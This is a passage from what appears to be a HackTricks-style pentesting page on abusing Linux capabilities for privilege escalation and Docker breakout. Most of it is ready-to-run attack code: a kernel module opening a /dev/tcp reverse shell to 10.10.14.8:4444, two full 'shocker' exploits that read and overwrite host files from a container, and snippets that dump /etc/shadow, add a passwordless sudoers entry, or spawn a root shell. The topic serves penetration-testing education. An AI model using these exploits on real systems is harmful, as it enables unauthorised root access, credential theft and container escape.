    674 **[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** empowers a process to **load and unload kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls)**, offering direct access to the kernel's core operations. This capability presents critical security risks because loading a module can modify kernel behavior and may defeat isolation boundaries.<sup>[[6]](#references)[[14]](#references)</sup>
    675 **This allows inserting or removing modules in the kernel visible to the process; in a container, whether that is the host kernel depends on the isolation configuration**.<sup>[[14]](#references)</sup>
    676 
    677 **Example with binary**
    678 
    679 In the following example the binary **`python`** has this capability.
    680 
    681 ```bash
    682 getcap -r / 2>/dev/null
    683 /usr/bin/python2.7 = cap_sys_module+ep
    684 ```
    685 
    686 By default, **`modprobe`** command checks for dependency list and map files in the directory **`/lib/modules/$(uname -r)`**.\
    687 In order to abuse this, lets create a fake **lib/modules** folder:
    688 
    689 ```bash
    690 mkdir lib/modules -p
    691 cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
    692 ```
    693 
    694 Then **compile the kernel module you can find 2 examples below and copy** it to this folder:
    695 
    696 ```bash
    697 cp reverse-shell.ko lib/modules/$(uname -r)/
    698 ```
    699 
    700 Finally, execute the needed python code to load this kernel module:
    701 
    702 ```python
    703 import kmod
    704 km = kmod.Kmod()
    705 km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
    706 km.modprobe("reverse-shell")
    707 ```
    708 
    709 **Example 2 with binary**
    710 
    711 In the following example the binary **`kmod`** has this capability.
    712 
    713 ```bash
    714 getcap -r / 2>/dev/null
    715 /bin/kmod = cap_sys_module+ep
    716 ```
    717 
    718 Which means that it's possible to use the command **`insmod`** to insert a kernel module. Follow the example below to get a **reverse shell** abusing this privilege.
    719 
    720 **Example with environment (Docker breakout)**
    721 
    722 You can check the enabled capabilities inside the docker container using:
    723 
    724 ```bash
    725 capsh --print
    726 Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
    727 Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
    728 Securebits: 00/0x0/1'b0
    729  secure-noroot: no (unlocked)
    730  secure-no-suid-fixup: no (unlocked)
    731  secure-keep-caps: no (unlocked)
    732 uid=0(root)
    733 gid=0(root)
    734 groups=0(root)
    735 ```
    736 
    737 Inside the previous output you can see that the **SYS_MODULE** capability is enabled.<sup>[[14]](#references)</sup>
    738 
    739 **Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it:
    740 
    741 ```c
    742 #include <linux/kmod.h>
    743 #include <linux/module.h>
    744 MODULE_LICENSE("GPL");
    745 MODULE_AUTHOR("AttackDefense");
    746 MODULE_DESCRIPTION("LKM reverse shell module");
    747 MODULE_VERSION("1.0");
    748 
    749 char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
    750 static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
    751 
    752 // call_usermodehelper function is used to create user mode processes from kernel space
    753 static int __init reverse_shell_init(void) {
    754     return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
    755 }
    756 
    757 static void __exit reverse_shell_exit(void) {
    758     printk(KERN_INFO "Exiting\n");
    759 }
    760 
    761 module_init(reverse_shell_init);
    762 module_exit(reverse_shell_exit);
    763 ```
    764 
    765 ```bash
    766 obj-m +=reverse-shell.o
    767 
    768 all:
    769     make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
    770 
    771 clean:
    772     make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
    773 ```
    774 
    775 > [!WARNING]
    776 > The blank char before each make word in the Makefile **must be a tab, not spaces**!
    777 
    778 Execute `make` to compile it.
    779 
    780 ```bash
    781 Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.  Stop.
    782 
    783 sudo apt update
    784 sudo apt full-upgrade
    785 ```
    786 
    787 Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process:
    788 
    789 ```bash
    790 #Shell 1
    791 nc -lvnp 4444
    792 
    793 #Shell 2
    794 insmod reverse-shell.ko #Launch the reverse shell
    795 ```
    796 
    797 **The code of this technique was copied from the laboratory of "Abusing SYS_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com).<sup>[[1]](#references)</sup>
    798 
    799 Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)
    800 
    801 ## CAP_DAC_READ_SEARCH
    802 
    803 [**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables a process to **bypass permissions for reading files and for reading and executing directories**. Its primary use is for file searching or reading purposes. However, it also allows a process to use the `open_by_handle_at(2)` function, which can access any file, including those outside the process's mount namespace. The handle used in `open_by_handle_at(2)` is supposed to be a non-transparent identifier obtained through `name_to_handle_at(2)`, but it can include sensitive information like inode numbers that are vulnerable to tampering. The potential for exploitation of this capability, particularly in the context of Docker containers, was demonstrated by Sebastian Krahmer with the shocker exploit, as analyzed [here](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).<sup>[[12]](#references)[[13]](#references)</sup>
    804 **This means that you can bypass file read permission checks and directory read/execute permission checks**.<sup>[[14]](#references)</sup>
    805 
    806 **Example with binary**
    807 
    808 The binary can read files that are accessible in its namespaces. So, if a file like `tar` has this capability, it can read the shadow file:
    809 
    810 ```bash
    811 cd /etc
    812 tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
    813 cd /tmp
    814 tar -cxf shadow.tar.gz
    815 ```
    816 
    817 **Example with binary2**
    818 
    819 In this case lets suppose that **`python`** binary has this capability. In order to list root files you could do:
    820 
    821 ```python
    822 import os
    823 for r, d, f in os.walk('/root'):
    824     for filename in f:
    825         print(filename)
    826 ```
    827 
    828 And in order to read a file you could do:
    829 
    830 ```python
    831 print(open("/etc/shadow", "r").read())
    832 ```
    833 
    834 **Example in Environment (Docker breakout)**
    835 
    836 You can check the enabled capabilities inside the Docker container using `capsh --print`.<sup>[[14]](#references)[[26]](#references)</sup>
    837 
    838 ```text
    839 capsh --print
    840 Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
    841 Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
    842 Securebits: 00/0x0/1'b0
    843  secure-noroot: no (unlocked)
    844  secure-no-suid-fixup: no (unlocked)
    845  secure-keep-caps: no (unlocked)
    846 uid=0(root)
    847 gid=0(root)
    848 groups=0(root)
    849 ```
    850 
    851 Inside the previous output you can see that the **DAC_READ_SEARCH** capability is enabled. This bypasses DAC read/search checks and permits `open_by_handle_at(2)`; it is not a process-debugging capability by itself.<sup>[[14]](#references)</sup>
    852 
    853 You can learn how the following exploit works in [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), but in brief, **CAP_DAC_READ_SEARCH** allows traversing the file system without permission checks and permits `open_by_handle_at(2)`; this can expose files opened by other processes when the relevant namespaces and mounts are reachable.<sup>[[13]](#references)[[14]](#references)</sup>
    854 
    855 The original exploit that abuses these permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c); the following is a **modified version that lets you pass the file to read as the first argument and dump the result to a file**.<sup>[[12]](#references)</sup>
    856 
    857 ```c
    858 #include <stdio.h>
    859 #include <sys/types.h>
    860 #include <sys/stat.h>
    861 #include <fcntl.h>
    862 #include <errno.h>
    863 #include <stdlib.h>
    864 #include <string.h>
    865 #include <unistd.h>
    866 #include <dirent.h>
    867 #include <stdint.h>
    868 
    869 // gcc shocker.c -o shocker
    870 // ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
    871 
    872 struct my_file_handle {
    873     unsigned int handle_bytes;
    874     int handle_type;
    875     unsigned char f_handle[8];
    876 };
    877 
    878 void die(const char *msg)
    879 {
    880     perror(msg);
    881     exit(errno);
    882 }
    883 
    884 void dump_handle(const struct my_file_handle *h)
    885 {
    886     fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
    887     h->handle_type);
    888     for (int i = 0; i < h->handle_bytes; ++i) {
    889         fprintf(stderr,"0x%02x", h->f_handle[i]);
    890         if ((i + 1) % 20 == 0)
    891         fprintf(stderr,"\n");
    892         if (i < h->handle_bytes - 1)
    893         fprintf(stderr,", ");
    894     }
    895     fprintf(stderr,"};\n");
    896 }
    897 
    898 int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
    899 *oh)
    900 {
    901     int fd;
    902     uint32_t ino = 0;
    903     struct my_file_handle outh = {
    904     .handle_bytes = 8,
    905     .handle_type = 1
    906     };
    907     DIR *dir = NULL;
    908     struct dirent *de = NULL;
    909     path = strchr(path, '/');
    910     // recursion stops if path has been resolved
    911     if (!path) {
    912         memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
    913         oh->handle_type = 1;
    914         oh->handle_bytes = 8;
    915         return 1;
    916     }
    917 
    918     ++path;
    919     fprintf(stderr, "[*] Resolving '%s'\n", path);
    920     if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
    921         die("[-] open_by_handle_at");
    922     if ((dir = fdopendir(fd)) == NULL)
    923         die("[-] fdopendir");
    924     for (;;) {
    925         de = readdir(dir);
    926         if (!de)
    927         break;
    928         fprintf(stderr, "[*] Found %s\n", de->d_name);
    929         if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
    930             fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
    931             ino = de->d_ino;
    932             break;
    933         }
    934     }
    935 
    936     fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
    937     if (de) {
    938         for (uint32_t i = 0; i < 0xffffffff; ++i) {
    939             outh.handle_bytes = 8;
    940             outh.handle_type = 1;
    941             memcpy(outh.f_handle, &ino, sizeof(ino));
    942             memcpy(outh.f_handle + 4, &i, sizeof(i));
    943             if ((i % (1<<20)) == 0)
    944                 fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
    945             if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
    946                 closedir(dir);
    947                 close(fd);
    948                 dump_handle(&outh);
    949                 return find_handle(bfd, path, &outh, oh);
    950             }
    951         }
    952     }
    953     closedir(dir);
    954     close(fd);
    955     return 0;
    956 }
    957 
    958 
    959 int main(int argc,char* argv[] )
    960 {
    961     char buf[0x1000];
    962     int fd1, fd2;
    963     struct my_file_handle h;
    964     struct my_file_handle root_h = {
    965         .handle_bytes = 8,
    966         .handle_type = 1,
    967         .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
    968     };
    969 
    970     fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
    971     "[***] The tea from the 90's kicks your sekurity again. [***]\n"
    972     "[***] If you have pending sec consulting, I'll happily [***]\n"
    973     "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
    974 
    975     read(0, buf, 1);
    976 
    977     // get a FS reference from something mounted in from outside
    978     if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
    979         die("[-] open");
    980 
    981     if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
    982         die("[-] Cannot find valid handle!");
    983 
    984     fprintf(stderr, "[!] Got a final handle!\n");
    985     dump_handle(&h);
    986 
    987     if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
    988         die("[-] open_by_handle");
    989 
    990     memset(buf, 0, sizeof(buf));
    991     if (read(fd2, buf, sizeof(buf) - 1) < 0)
    992         die("[-] read");
    993 
    994     printf("Success!!\n");
    995 
    996     FILE *fptr;
    997     fptr = fopen(argv[2], "w");
    998     fprintf(fptr,"%s", buf);
    999     fclose(fptr);
   1000 
   1001     close(fd2); close(fd1);
   1002 
   1003     return 0;
   1004 }
   1005 ```
   1006 
   1007 > [!WARNING]
   1008 > The exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command:
   1009 
   1010 ![CAP SYS MODULE - CAP DAC READ SEARCH: The exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28407%29%20%281%29.png)
   1011 
   1012 **The code of this technique was copied from the laboratory of "Abusing DAC_READ_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com).<sup>[[1]](#references)</sup>
   1013 
   1014 
   1015 ## CAP_DAC_OVERRIDE
   1016 
   1017 **This capability bypasses file read, write, and execute permission checks**.<sup>[[14]](#references)</sup>
   1018 
   1019 Look for files that become readable or writable through membership in a privileged group; the useful targets depend on the target's ownership and mode bits.<sup>[[14]](#references)</sup>
   1020 
   1021 **Example with binary**
   1022 
   1023 In this example vim has this capability, so you can modify any file like _passwd_, _sudoers_ or _shadow_:
   1024 
   1025 ```bash
   1026 getcap -r / 2>/dev/null
   1027 /usr/bin/vim = cap_dac_override+ep
   1028 
   1029 vim /etc/sudoers #To overwrite it
   1030 ```
   1031 
   1032 **Example with binary 2**
   1033 
   1034 In this example **`python`** binary will have this capability. You could use python to override any file:
   1035 
   1036 ```python
   1037 file=open("/etc/sudoers","a")
   1038 file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
   1039 file.close()
   1040 ```
   1041 
   1042 **Example with environment + CAP_DAC_READ_SEARCH (Docker breakout)**
   1043 
   1044 Confirm `CAP_DAC_OVERRIDE` with `capsh --print` as shown in the preceding `CAP_DAC_READ_SEARCH` environment example.<sup>[[14]](#references)[[26]](#references)</sup>
   1045 
   1046 First of all read the previous section that [**abuses DAC_READ_SEARCH capability to read arbitrary files**](/hacktricks/linux-hardening/interesting-files-permissions/linux-capabilities#cap_dac_read_search) of the host and **compile** the exploit.\
   1047 Then, **compile the following version of the shocker exploit** that will allow you to **write arbitrary files** inside the hosts filesystem:
   1048 
   1049 ```c
   1050 #include <stdio.h>
   1051 #include <sys/types.h>
   1052 #include <sys/stat.h>
   1053 #include <fcntl.h>
   1054 #include <errno.h>
   1055 #include <stdlib.h>
   1056 #include <string.h>
   1057 #include <unistd.h>
   1058 #include <dirent.h>
   1059 #include <stdint.h>
   1060 
   1061 // gcc shocker_write.c -o shocker_write
   1062 // ./shocker_write /etc/passwd passwd
   1063 
   1064 struct my_file_handle {
   1065   unsigned int handle_bytes;
   1066   int handle_type;
   1067   unsigned char f_handle[8];
   1068 };
   1069 void die(const char * msg) {
   1070   perror(msg);
   1071   exit(errno);
   1072 }
   1073 void dump_handle(const struct my_file_handle * h) {
   1074   fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
   1075     h -> handle_type);
   1076   for (int i = 0; i < h -> handle_bytes; ++i) {
   1077     fprintf(stderr, "0x%02x", h -> f_handle[i]);
   1078     if ((i + 1) % 20 == 0)
   1079       fprintf(stderr, "\n");
   1080     if (i < h -> handle_bytes - 1)
   1081       fprintf(stderr, ", ");
   1082   }
   1083   fprintf(stderr, "};\n");
   1084 }
   1085 int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
   1086 {
   1087   int fd;
   1088   uint32_t ino = 0;
   1089   struct my_file_handle outh = {
   1090     .handle_bytes = 8,
   1091     .handle_type = 1
   1092   };
   1093   DIR * dir = NULL;
   1094   struct dirent * de = NULL;
   1095   path = strchr(path, '/');
   1096   // recursion stops if path has been resolved
   1097   if (!path) {
   1098     memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
   1099     oh -> handle_type = 1;
   1100     oh -> handle_bytes = 8;
   1101     return 1;
   1102   }
   1103   ++path;
   1104   fprintf(stderr, "[*] Resolving '%s'\n", path);
   1105   if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
   1106     die("[-] open_by_handle_at");
   1107   if ((dir = fdopendir(fd)) == NULL)
   1108     die("[-] fdopendir");
   1109   for (;;) {
   1110     de = readdir(dir);
   1111     if (!de)
   1112       break;
   1113     fprintf(stderr, "[*] Found %s\n", de -> d_name);
   1114     if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
   1115       fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
   1116       ino = de -> d_ino;
   1117       break;
   1118     }
   1119   }
   1120   fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
   1121   if (de) {
   1122     for (uint32_t i = 0; i < 0xffffffff; ++i) {
   1123       outh.handle_bytes = 8;
   1124       outh.handle_type = 1;
   1125       memcpy(outh.f_handle, & ino, sizeof(ino));
   1126       memcpy(outh.f_handle + 4, & i, sizeof(i));
   1127       if ((i % (1 << 20)) == 0)
   1128         fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
   1129       if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
   1130         closedir(dir);
   1131         close(fd);
   1132         dump_handle( & outh);
   1133         return find_handle(bfd, path, & outh, oh);
   1134       }
   1135     }
   1136   }
   1137   closedir(dir);
   1138   close(fd);
   1139   return 0;
   1140 }
   1141 int main(int argc, char * argv[]) {
   1142   char buf[0x1000];
   1143   int fd1, fd2;
   1144   struct my_file_handle h;
   1145   struct my_file_handle root_h = {
   1146     .handle_bytes = 8,
   1147     .handle_type = 1,
   1148     .f_handle = {
   1149       0x02,
   1150       0,
   1151       0,
   1152       0,
   1153       0,
   1154       0,
   1155       0,
   1156       0
   1157     }
   1158   };
   1159   fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
   1160     "[***] The tea from the 90's kicks your sekurity again. [***]\n"
   1161     "[***] If you have pending sec consulting, I'll happily [***]\n"
   1162     "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
   1163   read(0, buf, 1);
   1164   // get a FS reference from something mounted in from outside
   1165   if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
   1166     die("[-] open");
   1167   if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
   1168     die("[-] Cannot find valid handle!");
   1169   fprintf(stderr, "[!] Got a final handle!\n");
   1170   dump_handle( & h);
   1171   if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
   1172     die("[-] open_by_handle");
   1173   char * line = NULL;
   1174   size_t len = 0;
   1175   FILE * fptr;
   1176   ssize_t read;
   1177   fptr = fopen(argv[2], "r");
   1178   while ((read = getline( & line, & len, fptr)) != -1) {
   1179     write(fd2, line, read);
   1180   }
   1181   printf("Success!!\n");
   1182   close(fd2);
   1183   close(fd1);
   1184   return 0;
   1185 }
   1186 ```
   1187 
   1188 In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**.
   1189 
   1190 **The code of this technique was copied from the laboratory of "Abusing DAC_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com).<sup>[[1]](#references)</sup>
   1191 
   1192 ## CAP_CHOWN
   1193 
   1194 **This capability allows a process to change the ownership of files**.<sup>[[14]](#references)</sup>
   1195 
   1196 **Example with binary**
   1197 
   1198 Lets suppose the **`python`** binary has this capability; you can change the owner of a file such as **`shadow`**, then use the resulting access to modify it if other permissions allow:
   1199 
   1200 ```bash
   1201 python -c 'import os;os.chown("/etc/shadow",1000,1000)'
   1202 ```
   1203 
   1204 Or with the **`ruby`** binary having this capability:
   1205 
   1206 ```bash
   1207 ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
   1208 ```
   1209 
   1210 ## CAP_FOWNER
   1211 
   1212 **This capability bypasses ownership checks for many file operations, including changing permissions**.<sup>[[14]](#references)</sup>
   1213 
   1214 **Example with binary**
   1215 
   1216 If python has this capability you can modify the permissions of the shadow file, **change root password**, and escalate privileges:
   1217 
   1218 ```bash
   1219 python -c 'import os; os.chmod("/etc/shadow", 0o666)'
   1220 ```
   1221 
   1222 ### CAP_SETUID
   1223 
   1224 **This capability allows a process to change its effective user ID, subject to the credential and capability rules enforced by the kernel**.<sup>[[14]](#references)</sup>
   1225 
   1226 **Example with binary**
   1227 
   1228 If python has this **capability**, you can very easily abuse it to escalate privileges to root:
   1229 
   1230 ```python
   1231 import os
   1232 os.setuid(0)
   1233 os.system("/bin/bash")
   1234 ```
   1235 
   1236 **Another way:**
   1237 
   1238 ```python
   1239 import os
   1240 import prctl
   1241 #add the capability to the effective set
   1242 prctl.cap_effective.setuid = True
   1243 os.setuid(0)
   1244 os.system("/bin/bash")
   1245 ```
   1246 
   1247 ## CAP_SETGID
   1248 
   1249 **This capability allows a process to change its effective group ID, subject to the credential and capability rules enforced by the kernel**.<sup>[[14]](#references)</sup>
   1250 
   1251 There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](/hacktricks/linux-hardening/processes-crontab-systemd-dbus/payloads-to-execute#overwriting-a-file-to-escalate-privileges).
   1252 
   1253 **Example with binary**
   1254 
   1255 In this case you should look for interesting files that a group can read because you can impersonate any group:
   1256 
   1257 ```bash
   1258 #Find every file writable by a group
   1259 find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
   1260 #Find every file writable by a group in /etc with a maxpath of 1
   1261 find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
   1262 #Find every file readable by a group in /etc with a maxpath of 1
   1263 find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
   1264 ```
   1265 
   1266 Once you have find a file you can abuse (via reading or writing) to escalate privileges you can **get a shell impersonating the interesting group** with:
   1267 
   1268 ```python
   1269 import os
   1270 os.setgid(42)
   1271 os.system("/bin/bash")
   1272 ```
   1273 
   1274 In this case the group shadow was impersonated so you can read the file `/etc/shadow`:
   1275 
   1276 ```bash
   1277 cat /etc/shadow
   1278 ```
   1279 
   1280 ### Combined chain: CAP_SETGID + CAP_CHOWN
   1281 
   1282 When both capabilities are available in the same helper, a practical chain is:
   1283 
   1284 1. Switch EGID to `shadow` (or another privileged group).
   1285 2. Use `chown` on `/etc/shadow` to set your UID while keeping group `shadow`.
   1286 3. Read a target hash and crack/pivot.
   1287 
   1288 ```python
   1289 import os
   1290 
   1291 # Replace values with real IDs from `id` / `getent group shadow`
   1292 LAB_UID = 1000
   1293 SHADOW_GID = 42
   1294 
   1295 os.setgid(SHADOW_GID)
   1296 os.chown("/etc/shadow", LAB_UID, SHADOW_GID)
   1297 os.system("grep '^root:' /etc/shadow > /tmp/root.hash")
   1298 ```
   1299 
   1300 This avoids needing full root directly and is commonly enough to pivot through credential reuse.
   1301 
   1302 If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](#writable-docker-socket).
   1303 
   1304 ## CAP_SETFCAP
   1305 
   1306 **This capability allows a process to set file capabilities**.<sup>[[14]](#references)</sup>
   1307 
   1308 **Example with binary**
   1309 
   1310 If python has this **capability**, you can very easily abuse it to escalate privileges to root:
   1311 
   1312 ```python
   1313 import ctypes, sys
   1314 
   1315 #Load needed library
   1316 #You can find which library you need to load checking the libraries of local setcap binary
   1317 # ldd /sbin/setcap
   1318 libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
   1319 
   1320 libcap.cap_from_text.argtypes = [ctypes.c_char_p]
   1321 libcap.cap_from_text.restype = ctypes.c_void_p
   1322 libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
   1323 
   1324 #Give setuid cap to the binary
   1325 cap = 'cap_setuid+ep'
   1326 path = sys.argv[1]
   1327 print(path)
   1328 cap_t = libcap.cap_from_text(cap)
   1329 status = libcap.cap_set_file(path,cap_t)
   1330 
   1331 if(status == 0):
   1332     print (cap + " was successfully added to " + path)
   1333 ```
   1334 
   1335 ```bash
   1336 python setcapability.py /usr/bin/python2.7
   1337 ```
   1338 
   1339 > [!WARNING]
   1340 > A newly written file capability set replaces the previous set; if the helper is then executed with only the new capabilities, it may no longer retain `CAP_SETFCAP` to update another file.<sup>[[14]](#references)[[25]](#references)</sup>
   1341 
   1342 Once you have [SETUID capability](/hacktricks/linux-hardening/interesting-files-permissions/linux-capabilities#cap_setuid) you can go to its section to see how to escalate privileges.
   1343 
   1344 **Example with environment (Docker breakout)**
   1345 
   1346 Docker's documented default capability set includes **CAP_SETFCAP**, but the actual set depends on the runtime configuration.<sup>[[19]](#references)</sup>
   1347 You can inspect the process capabilities with:
   1348 
   1349 ```bash
   1350 cat /proc/`pidof bash`/status | grep Cap
   1351 CapInh: 00000000a80425fb
   1352 CapPrm: 00000000a80425fb
   1353 CapEff: 00000000a80425fb
   1354 CapBnd: 00000000a80425fb
   1355 CapAmb: 0000000000000000
   1356 
   1357 capsh --decode=00000000a80425fb
   1358 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
   1359 ```
   1360 
   1361 This capability allows writing file capabilities, but it does not by itself grant those capabilities to the current process or bypass the file, bounding-set, and namespace rules applied when the file is executed.<sup>[[14]](#references)</sup>
   1362 
   1363 ```bash
   1364 getcap /usr/bin/gdb
   1365 /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
   1366 
   1367 setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
   1368 
   1369 /usr/bin/gdb
   1370 bash: /usr/bin/gdb: Operation not permitted
   1371 ```
   1372 
   1373 The file's permitted capabilities are limited by the process's capability bounding set, and the file effective bit controls whether the file's permitted set is raised into the process's effective set. This is why adding capabilities to a file does not automatically make every requested capability usable at execution time.<sup>[[14]](#references)</sup>
   1374 
   1375 ## CAP_SYS_RAWIO
   1376 
   1377 [**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to perform a range of device-specific operations on other devices.<sup>[[14]](#references)</sup>
   1378 
   1379 This can be useful for **privilege escalation** and **Docker breakout**.<sup>[[14]](#references)</sup>
   1380 
   1381 ## CAP_KILL
   1382 
   1383 **This capability bypasses permission checks for sending signals to processes in the cases defined by the kernel**.<sup>[[14]](#references)</sup>
   1384 
   1385 **Example with binary**
   1386 
   1387 Lets suppose the **`python`** binary has this capability. If you could **also modify some service or socket configuration** (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor.
   1388 
   1389 ```python
   1390 #Use this python code to kill arbitrary processes
   1391 import os
   1392 import signal
   1393 pgid = os.getpgid(341)
   1394 os.killpg(pgid, signal.SIGKILL)
   1395 ```
   1396 
   1397 **Privesc with kill**
   1398 
   1399 If you have kill capabilities and there is a **node program running as root** (or as a different user)you could probably **send** it the **signal SIGUSR1** and make it **open the node debugger** to where you can connect.
   1400 
   1401 ```bash
   1402 kill -s SIGUSR1 <nodejs-ps>
   1403 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
   1404 ```
   1405 
   1406 
   1407 [Electron Cef Chromium Debugger Abuse](/hacktricks/linux-hardening/software-information/electron-cef-chromium-debugger-abuse)
   1408 
   1409 
   1410 ## CAP_NET_BIND_SERVICE
   1411 
   1412 **This capability permits binding to Internet ports below 1024.** It does not directly grant broader privilege escalation.<sup>[[14]](#references)</sup>
   1413 
   1414 **Example with binary**
   1415 
   1416 If **`python`** has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports)
   1417 
   1418 ### Listen
   1419 ```python
   1420 import socket
   1421 s=socket.socket()
   1422 s.bind(('0.0.0.0', 80))
   1423 s.listen(1)
   1424 conn, addr = s.accept()
   1425 while True:
   1426         output = connection.recv(1024).strip();
   1427         print(output)
   1428 ```
   1429 
   1430 ### Connect
   1431 ```python
   1432 import socket
   1433 s=socket.socket()
   1434 s.bind(('0.0.0.0',500))
   1435 s.connect(('10.10.10.10',500))
   1436 ```
   1437 
   1438 
   1439 ## CAP_NET_RAW
   1440 
